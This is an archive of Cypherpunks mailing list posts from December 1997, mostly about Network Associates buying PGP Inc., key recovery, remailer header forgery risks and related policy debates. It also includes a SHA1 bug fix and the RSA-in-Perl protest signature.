>(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates
>(Nasdaq: MCAF), announced today that it has a signed a definitive
>agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP)."

Varous Questions, comments rants, etc.:

Does anyone know how this will affect PGP's:
security, commitment to no-GAK, Founder (P. Zimmerman), the continuation
of the PGP product line?

I heard that McAfee's PCCrypto product will still be sold by NETA as a
retail product, (are they considering 
incorperating the 2 together and just using PGP's team for R&D?)

steve

-- 
A picture tells a thousand words.
		Stego





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 2 Dec 1997 13:15:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971201095438.6085P-100000@neptune.chem.uga.e du>
Message-ID: <3.0.3.32.19971201204450.006c596c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 12:03 PM 12/1/97 -0800, stewarts@ix.netcom.com wrote:
>Besides Usenet, other popular tactics for retribution are
>sending death threats to politicians, sending child pornography
>to mailing lists, forging messages _from_ politicians, etc.
>Disclaimer/warning headers help, but can't stop it all.
>
>At 10:07 AM 12/01/1997 -0500, Andy Dustman wrote:
>>Two basic points also about "forgeries". First, you can forge headers
>>pretty easily without any programs other than telnet. Second, if this
>
>This was before Gary Burnore's attacks on the remailer networks,
>but it's also an obvious tactic for either flamers or Feds to use
>for getting remailers shut down.  If somebody forges a Usenet posting
>with telnet, it's not _your_ problem (usually).  If they use your
remailer,
>it is your problem.  And if they get remailers closed down a lot,
>it's all of our problems.
>
>>2) Whenever a From: line is pasted, a disclaimer will be inserted at the
>>top of the body, stating that the original sender has set the From: line,
>>and that the identification cannot be verified. The fact that it is up at
>>the top of the body should mean people should actually see it before
>>reacting.
>
>It's worth also repeating it at the bottom.  Putting it in the headers
>is invisible with most newsreaders, though.
>
>By the way, one technical risk with From:-pasting is that you need to
>parse or substitute special characters including parens and anglebrackets.
>Otherwise it's easy for people to paste in syntactically incorrect
headers,
>which really annoy some gateways and mail clients - nested parens are
>a particular problem.
>
>Basically, I think you're getting yourself in for excitement
>and adventure and really wild stuff by supporting this :-)

Sounds like a good reason for remailers to use throwaway email accounts at
Juno, MailExcite, Yahoo, etc. as their exit points.  Wasn't somebody
working on this?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIOSQcJF0kXqpw3MEQKcHACg+nSiTVlonZCH3hUhRQ2+DXYTtIcAoOTf
DVa/LBltFF527mdtcs3adDsR
=6WNy
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Dec 1997 13:02:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: More Government Sanctioned Theft
In-Reply-To: <65k64e$coq@snews3.zippo.com>
Message-ID: <v0310280eb0a9349c58b7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:16 PM -0700 12/1/97, Igor Chudov @ home wrote:
>[This message has also been posted.]
>In ok.general, Jerry Morgan <jmorgan@galstar.com> wrote:
>* easttom@redriverok.com (Chuck Easttom) wrote:
>* >   2.  What the hell legit reason is there for a man to be driving
>around with
>* >132 K in a truck??
>* >
>*
>* The simple possession of any amount of money is not subject to "police
>* approval", unless of course we are living in a police state.
>*
>* As I understand the "story" the police stopped the guy, searched the
>* car, found the money, seized it and then let the guy go without
>* charging him with anything.  A nice cool 132K profit for a few minutes
>* work, just like an armed robbery.  It would appear that this "cops and
>* robbers scenario" has the cops playing both roles.S

This is becoming all too common (cf. online reports, and some good t.v.
investigative shows which detailed how this shakedown operation works in
many states).

As to the question above, "2.  What the hell legit reason is there for a
man to be driving around with * >132 K in a truck??," this shows the dire
state we are in today.

After all, what the hell business is it of government/police to tell a
person what they may do with their money? If I want to push my money around
in a wheel barrow, it may be stupid, but if cops seize it then they are
just thieves, plain and simple.

(Arguments that the money "must have" been stolen, or to be used for an
illegal transaction, or whatever, are meaningless. Unless the money can be
shown to be stolen, or unless the person being stopped is actually shown to
be in an illegal transaction (not that I support such laws, mind you), the
cops can do nothing.)

However, cash is on the way toward being outlawed. De facto, if not de jure.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 2 Dec 1997 13:31:00 +0800
To: cypherpunks@toad.com
Subject: TEST
Message-ID: <19971202051737.16399.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



TEST


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 2 Dec 1997 11:48:21 +0800
To: cypherpunks@toad.com>
Subject: Re: PGP bought by McAfee
In-Reply-To: <348356EF.21C4@ix.netcom.com>
Message-ID: <199712020326.WAA32704@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <348356EF.21C4@ix.netcom.com>, on 12/01/97 
   at 07:31 PM, steve <xxxxxx@ix.netcom.com> said:

>>"Network Associates, Inc.
>>(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates
>>(Nasdaq: MCAF), announced today that it has a signed a definitive
>>agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP)."

>Varous Questions, comments rants, etc.:

>Does anyone know how this will affect PGP's:
>security, commitment to no-GAK, Founder (P. Zimmerman), the continuation
>of the PGP product line?

>I heard that McAfee's PCCrypto product will still be sold by NETA as a
>retail product, (are they considering 
>incorperating the 2 together and just using PGP's team for R&D?)

>steve

It does bring up quite a few questions. Things like source code releases,
commitiment to OpenPGP, Freeware for non comercial use.

Should make for an intresting OpenPGP BOF in DC next week. :)

"May you live in intresting times" -- Chinese curse/blessing

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIN/uo9Co1n+aLhhAQIxiwP6AmYLn/k7wuK3yvHbVI6Vnpw0dEiApmQ+
QkZBNm6FflxZgfpWTss5FQWgb9hPO770cn4esr1ZIpTPzD4Lv32b1QkBjP5UWnJc
s/i3rP9ueUQv/AmC9ErEHEUgZoWKlJ/mwSszzWf1UDSHoWqU6WlhHk74FtBrjDoQ
n46FGvLWzvQ=
=5KlR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 2 Dec 1997 12:14:38 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: PGP Inc Sold for $35M - News Flash
In-Reply-To: <Pine.LNX.3.95.971201181053.19756A-100000@www.ctrl-alt-del.com>
Message-ID: <199712020407.XAA00317@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.971201181053.19756A-100000@www.ctrl-alt-del.com>, on
12/01/97 
   at 06:13 PM, Alan <alan@ctrl-alt-del.com> said:

>On Mon, 1 Dec 1997, Vin McLellan wrote:

>> <News Alert, from C/Net's News.Com>
>> 
>> "PGP acquired by merged security software firm.
>> 
>> "Pretty Good Privacy, an encryption company foundered by crypto pioneer
>> Phil Zimmermann, has been acquired by Network Associates, the result of the
>> merger of McAfee Associates and Network General, which closed today.
>> 
>> "Network Associates will pay $35 million in cash  for PGP. "

>Not good news.  As I remember McAfee was one of the "Key Recovery Aliance
>Partners".  

They sure are. :(

This does not look good at all. :(((

http://www.kra.org/roster.html


                 Key Recovery Alliance Members

                        * = Charter Members 


            America Online, Inc. 
            Apple Computer, Inc. * 
            American Express Corp. 
            Atalla * 
            Baltimore Technologies 
            Boeing 
            Candle Corporation 
            CertCo 
            Certicom 
            Compaq Computer Corp. 
            Cryptomathic 
            CygnaCom Sulutions, Inc. 
            Cylink Corp. 
            DASCOM, Inc. 
            Data Securities International, Inc. 
            Digital Equipment Corporation * 
            Digital Secured Networks Technology, Inc. 
            Digital Signature Trust Company 
            Entrust Technologies 
            First Data Corp. 
            Fort Knox Escrow Services, Inc. 
            Frontier Technologies Corp. 
            Fujitsu, Ltd. 
            GemPlus 
            Gradient Technologies, Inc. 
            Groupe Bull * 
            Hewlett-Packard * 
            Hitachi 
            IBM * 
            ICL 
            IRE 
            Intel Corporation 
            McAfee 
            Mitsubishi Corporation of Japan 
            Mitsubishi Electric America 
            Motorola 
            Mykotronx 
            Mytec Technologies, Inc. 
            nCipher Corp. 
            NCC Escrow 
            NCR Corporation * 
            NEC 
            Network Systems Group of Storage Tek 
            Novell, Inc. 
            Open Horizon, Inc. 
            Portland Software 
            PSA 
            Price Waterhouse 
            Racal Data Group 
            Rainbow Technologies 
            RedCreek Communications 
            RPK 
            RSA * 
            SafeNet Trusted Services, Corp. 
            Secure Computing Corporation 
            Siemens AG 
            Silicon Graphics, Inc. 
            SourceFile 
            Spyrus 
            Sterling Commerce 
            Sun Microsystems * 
            Tandem 
            Technical Communications Corp. 
            The Santa Cruz Operation, Inc. 
            Toshiba 
            Trusted Information Systems, Inc. * 
            Unisys 
            UPS * 
            Utimaco Mergent 
            VPNet Technologies 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIOJJo9Co1n+aLhhAQJlJAP9FL+MvHla+Xpa4ZPKFNcLT0IUp8QYs/QR
UG912fUE3vn3KhOAE6Vv3wDfafREKWlzbFwCz3WbnKEv09G9vCAJ+YiXo2QWs3sQ
W6WD6ucf0+I1DFtoPJ9jLqWecKw//XMeLbdnNvH9Fxp4eR0zEzz57LNzTzJBqfID
/tuRl/GbQhw=
=w6jw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 2 Dec 1997 12:08:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: PGP bought by McAfee (fwd)
Message-ID: <199712020406.WAA08495@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



[Identities removed to protect the innocent]

Forwarded message:

> >Does anyone know how this will affect PGP's:
> >security, commitment to no-GAK, Founder (P. Zimmerman), the continuation
> >of the PGP product line?
> >
> >I heard that McAfee's PCCrypto product will still be sold by NETA as a
> >retail product, (are they considering 
> >incorperating the 2 together and just using PGP's team for R&D?)
> >
> Even more basic questions:  Will NETA release source code?  Will they
> continue to develop freeware versions of PGP?  What conections does NETA
> have to S/MIME?  What happens to licensing of things like PGPsdk and the
> freeware versions of PGP?  Will PGP be seen as a "dead-end" product by
> potential new users.  What will happen to Open-PGP email encryption
> standard?
> 
> This is not good.

What's the matter? Finding a free market economy monopolize right in front
of your eyes just a tad uncomfortable?

Cyber-anarchy in action...


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 2 Dec 1997 05:27:20 +0800
To: Vin McLellan <vin@shore.net>
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <v03007801b0a877592509@[198.115.179.81]>
Message-ID: <Pine.BSF.3.96.971201220827.5330B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 1 Dec 1997, Vin McLellan wrote:

> G'day Jonathan,
> 
> 	Could you please identify this "bank card company" by name, card,
> nation, etc. ?
> 
> 	Without some explicit cite of a commercial entity -- or a reference
> to some "strip-'em-naked-with-electrons" Police R&D group like the guys at
> Rome AFB -- this report sounds like another of those ID-Implant fantasies
> circulated by the guys who are bolting steel plate to their screen doors
> and programming their backyard AA to auto-target (a) Black Helicopters (b)
> which are on low-level rapid approach (c) full Oriental, Arab, and Hispanic
> troopers (c) wearing Blue Helmets.

"There are, however, two companies working on devices that examine the
human iris,
 the most notably being IrisScan who owns the patent. The technique's
major
 advantage over retina scans is that it does not require the user to focus
on a target,
 because the iris pattern is on the eye's surface. In fact, the video
image of an eye can
 be taken from several up to 3 feet away, and the user does not have to
interact
 actively with the device. Sensar, a company that has licensed the iris
scanning
 technology from IriScan hopes to position its IrisIdent product into ATMs
in the
 coming years."
http://www.ctst.com/ff_industry.html

I suggest you contact the manufacturer for more information.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 2 Dec 1997 11:52:22 +0800
To: cypherpunks@toad.com
Subject: "Berman expressed frustration with the ACLU's criticisms"
Message-ID: <v03007801b0a93112cce7@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



[More examples of the split within the "cyber-rights" community. --Declan]

=====================

Chicago Tribue, November 30, 1997

HEADLINE: MANY VIEWS COULD SNARL 3-DAY WEB CONFERENCE;
HOW TO SHIELD CHILDREN THE BIGGEST ISSUE

BYLINE: By Frank James and Shirley Brice, Washington Bureau.

DATELINE: WASHINGTON

BODY:
[...]

   One of the conference's main themes will be educating parents about how
filtering software can help them "keep their children out of the red-light
district," Berman said.

   The emphasis on the use of filtering software and expected talk about
Internet ratings systems has prompted the American Civil Liberties Union to
dub the event the "censorware summit."

   The ACLU, which played a major role in opposing the decency act, doesn't
oppose filtering software in principle, but it asserts that parents who buy
it should be able to learn exactly what sites the software blocks and what
criteria were used in deciding to block those sites.

[...]

   Barry Steinhardt, associate director of the ACLU, fears that eventually
there would be "one or two centralized ratings systems that will reflect
particular moral values and have the effect of limiting the breadth and
variety of speech on the Internet."

   "The way these rating systems are going to work," he said "is that
parties other than (consumers) are going to decide whether to employ the
ratings systems. Sites that are rated unfavorably are going to be blocked
out, rendered invisible to the average user."

   Berman expressed frustration with the ACLU's criticisms. "The court said
there were less restrictive ways than government

   censorship, and they pointed at these filtering tools. It was endorsed
by the Supreme Court 9-0. If you take those tools away, what do parents
do?"

   The conference's organizers, Berman said, also want to let parents know
about the efforts of companies with major Internet presences to make the
Web more family-friendly.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 2 Dec 1997 12:33:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Cypherpunks, PGP Buyout, & Writing Code...
Message-ID: <199712020440.WAA08621@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Perhaps the buy-out of PGP is a good thing. Consider that now there is a
clear and present motive for Cypherpunks to start writing the next wave of
world-class crypto...it really is the *only* shure way that the process
doesn't get subverted...we're no longer able to rely on a single commen
source of crypto tools.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Tue, 2 Dec 1997 11:58:04 +0800
To: "cypherpunks@Algebra.COM>
Subject: Fwd: Japs and the UN
Message-ID: <199712020348.WAA29747@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



==================BEGIN FORWARDED MESSAGE==================
>Return-Path: <Sporting.Shooters.Association@adelaide.on.net>
>Received: from falcon.adelaide.on.net by cti02.citenet.net (4.1/SMI-4.1)
>	id AA11267; Sun, 30 Nov 97 17:19:02 EST
>Resent-Date: Mon, 01 Dec 1997 08:45:53 +1030
>Resent-From: Sporting.Shooters.Association@adelaide.on.net
>Resent-Message-Id: <9711302219.AA11267@cti02.citenet.net>
>Received: from default (ppp253.adelaide.on.net.au)
> by adelaide.on.net (PMDF V5.1-10 #25974)
> with SMTP id <01IQNJH3VW8Q00CE9B@adelaide.on.net>
> (original mail from ssa@adelaide.on.net) for jf_avon@citenet.net; Mon,
> 1 Dec 1997 08:46:02 +0930
>Date: Mon, 01 Dec 1997 08:45:53 +1030
>From: ALERT <Sporting.Shooters.Association@adelaide.on.net>
>Subject: Japs and the UN
>To: ssaa-alerts@adelaide.on.net
>Resent-Reply-To: Sporting.Shooters.Association@adelaide.on.net
>Reply-To: Sporting.Shooters.Association@adelaide.on.net
>Message-Id: <3481E599.D57@adelaide.on.net>
>Organization: Sporting Shooters Association of Australia
>Mime-Version: 1.0
>X-Mailer: Mozilla 3.01 (Win95; I)
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>Comments: Sporting Shooters Association ALERTS mailing list
>X-UIDL: 6ab40261c41b93db3a6bd1fed4a9e264
>

"Japan paid salaries to officials on loan to U.N."

.c Kyodo News Service    

TOKYO, Nov. 30 (Kyodo) - The Japanese government has paid salaries to
its officials on loan to the United Nations for the past 27 years in
violation of the U.N. Charter, a national daily reported Sunday. 

Officials from Japanese ministries and agencies on loan to the world
body receive salaries from the U.N. as well as salaries from the
Japanese government, the Mainichi Shimbun said in a report from Geneva. 

The government has paid billions of yen for more than 1,000 officials
from Japan's ministries and agencies after a law, stipulating government
officials dispatched to international institutions be paid 70 to 100% of
the salaries paid in Japan, took effect in 1971, the Mainichi said. 

The U.N. Charter and U.N. staff regulations ban receiving payment from
any government to maintain its independence. 

An official at the National Personnel Authority was quoted as saying
half the Japanese officials on U.N. assignments are paid 100 % of their
home salary amount. 

Tsukasa Kawada, director of the Foreign Ministry's U.N. Administration
Division, was quoted as telling the Mainichi the payments are aimed at
guaranteeing the status of officials on loan by continuing their pension
and insurance fees' benefit and are not rewards for their duties in the
U.N. 

AP-NY-11-29-97 2338EST


===================END FORWARDED MESSAGE===================

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 2 Dec 1997 12:33:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP Inc Sold for $35M - News Flash
In-Reply-To: <v03007842b0a8edab798a@[198.115.179.81]>
Message-ID: <v03007800b0a93b52dcd9@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



WSJ Article, by Lisa Bransten (WSJ Interactive Edition)

"McAfee Announces Name Change, Acquisition of Pretty Good Privacy"

McAfee Associates Inc., a Santa Clara, Calif., maker of
network-security software, said Monday that it agreed to acquire
Pretty Good Privacy Inc., a privately held maker of encryption
software, in a deal valued at $36 million.

Separately, McAfee completed its acquisition of Network General and
said it was officially changing its name to Network Associates Inc.

[snip...]

One investment banker estimated PGP's revenue at almost $8 million
this year and at as much as $18 million next year. [Network Associates
Chairman and CE0 Bill] Larson said Network Associates made an all-cash
offer for PGP because of the low price of shares of McAfee (now
Network Associates).

Mr. Larson called the acquisition "a reflection of how significant
an opportunity we see in the security market." Mr. Larson called PGP
a "neophyte" but also "a strategic player" in security software,
adding that Network Associates "will be a player in this market."

[snip...]

PGP, based in San Mateo, Calif., was once a leading contender for an
initial public offering but ran into troubles in the middle of the
year as sales stagnated and a planned acquisition of software
company Zoomit Corp. fell apart. Zoomit makes software that allows
for easy communication across different networks.

PGP founder and chief technologist Philip Zimmermann has developed
something of a cult following among software programmers and
cyber-rights activists since the early 1990s, when he started giving
away his Pretty Good Privacy program, which allows computer users to
encrypt electronic messages sent over the Internet.

Mr. Zimmermann distributed the software for free in order to get it
into the most users' hands amid growing concerns that governments
would try to limit the use of encryption technology, fearful that
such technology would stymie law-enforcement agencies' efforts.
Appetite for the software proved large and millions of copies of the
software were downloaded by users around the world.

Mr. Zimmermann's case became a cause celebre among activists when
the Justice Department opened an investigation of him for allowing
the software to be distributed internationally. Although the
government allows the use of such encryption technologies in the
U.S., it doesn't allow the export of strong-encryption software
except in special circumstances.

In 1996, the government dropped its investigation of Mr. Zimmermann,
and in March of that year he and several partners incorporated PGP
to sell commercial versions of the software to large corporations
interested in security. Mr. Zimmermann will stay with the company as
a Network Associates Fellow.

[snip...]

"We get a great group of leading cryptographers," [Larsen] said. "There
are very few of these people in the world, and PGP has always been a
magnet for [them.]"

PGP, which has about 50 employees, has fought to have its encryption
software adopted as a standard, but software giants Microsoft Corp.
and Netscape Communications Corp. have both licensed the encryption
software of PGP rival RSA Data Security Inc., which was itself
purchased last year by Security Dynamics Technologies Inc.

Before Monday's announcement, several observers had said that PGP
and McAfee would be a logical combination because companies are
looking for software that can address more than one of their
security and networking needs. Also, PGP's encryption technology and
large installed user base could bolster McAfee's recent entry into
that field, they said.

PGP has "good brand recognition and good technology, but no
marketing muscle," said one industry watcher. "If PGP's encryption
standard is going to compete, they need a distribution partner like
McAfee behind them."

Shares of Network Associates will begin trading under the new Nasdaq
symbol NETA on Tuesday.

/end - WSJ Interactive, Bransten text/

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 2 Dec 1997 07:17:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Is Tim May guilty of illegally advocating revolution?
Message-ID: <199712012255.XAA26038@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



There's a fallacy which is quite common on this list, especially among
members whose positions are otherwise indefensible.  It's surprising in
a way because this fallacy is more common among statists.

There, the fallacy goes like this: if it is immoral, then it must be
illegal.  We see this all the time.  People think of the government as
their way of expressing moral values.  Drugs are wrong, so they must be
made illegal.  Discrimination in employment is wrong, so it also must
be illegal.  We have countless bad laws based on this false premise.

On this list we see the same fallacy, turned around: if it is legal, it
must be moral.  Someone is attacked for posting some vicious, hateful,
immoral rant, and they respond that what they said was legal, because of
freedom of speech and the First Amendment.  Their critic must be opposed
to free speech if he objects to their words.

Confusing what is legal and what is moral is a dangerous game.  It leads
to the false reasoning of the statists.  We must remember that there is
a clear distinction between morality and legality.

We all agree with freedom of speech.  People should be able to say
whatever they like without fear of legal consequences.  Cypherpunk
technologies can play a major part in assuring this freedom.

But this does not mean that all speech is equally valid.  If someone
calls for murder and they are attacked for it, it does no good for them to
hide behind the First Amendment.  Their words are wrong - they will have
harmful consequences if followed.  They cheapen life, and work against
the goals we share of a future based on cooperation rather than cooercion.
Cypherpunks are intelligent enough not to be fooled by this attempt
to use the principle of free speech to justify calls for violence and
murder.

It's no wonder, really, that people like May and Vulis attempt to confuse
the issue by pretending that their critics are opposed to freedom of
speech.  They know that if they are judged by their own words, their
character is revealed for all to see.  Any smokescreen is welcome if it
helps conceal their vicious, hateful nature.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 2 Dec 1997 09:25:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Digital Signatures
In-Reply-To: <fbbcab88ba06fee2a7cfdfe70620c8e5@anon.efga.org>
Message-ID: <199712020101.BAA01602@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> > You also need to be able to compute SHA1 hashes.  I've been using
> > something called "sha1file" which, I believe, originated at Adam
> > Back's web site.
> 
> That program has a bug.  The routine SHA1_update in the file sha1.c
> is missing a line:
> 
>    while ( ctx->mlen == 64 )
>    {
>       convert_to_bigendian( (word32*)ctx->M, 64 );
>       SHA1_transform( ctx );
>       use = min( 64, data_len );
>       memcpy( ctx->M, data, use );
>       ctx->mlen = use;
>       data_len -= use;
> ***   data += use;  ***  MISSING  ***
>    }
> 
> Correcting this will make your hashes be correct.

The version on my web pages for the last couple of versions has this
bug fixed.  http://www.dcs.ex.ac.uk/~aba/eternity/sha1.tgz

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gunther@witcapital.com
Date: Tue, 2 Dec 1997 14:38:49 +0800
To: cypherpunks@toad.com
Subject: Public Venture Capital Alert: Sandbox Entertainment available through Wit Capital
Message-ID: <199712020622.WAA24917@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Wit Capital Corporation is pleased to announce that we are able to provide first-come first-serve participation in the following public offering as described below:

Issuer:  Sandbox Entertainment is a Phoenix-based software development company that uses proprietary technology to provide games and simulations on the World Wide Web.  Sandbox's flagship products are CNN/SI's SportSim (sm), an online fantasy sports game, and CNNfn's Final Bell (sm), an online stock market simulation.
Security:  Series B Convertible Preferred Stock
Expected Size of Offering: 654,000 shares
Expected Price Range:  $6.75 to $8.50
Lead Underwriter: Wit Capital Corporation

If you think you may be interested in this Public Offering available through Wit Capital, please visit http://www.witcapital.com/sand1.html or call (888) 4-WIT-CAP.
You can view, print or download the Preliminary Prospectus from the New Issues Section of our website.  To purchase shares, you must first open an account, which you can do online.
Investing in public offerings is speculative, involves a high degree of risk and may not be appropriate for every investor.
As with all of your investments with Wit Capital, you must make your own determination of whether an investment in this offering is consistent with your investment objectives and risk tolerance.
To learn more about the risks of investing in public offerings please visit the New Issues Section of our website.
A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE.  THESE SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME THE REGISTRATION STATEMENT BECOMES EFFECTIVE.  THIS COMMUNICATION SHALL NOT CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL THERE BE ANY SALE OF THESE SECURITIES IN ANY JURISDICTION IN WHICH SUCH OFFER, SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION UNDER THE SECURITIES LAWS OF SUCH JURISDICTION.
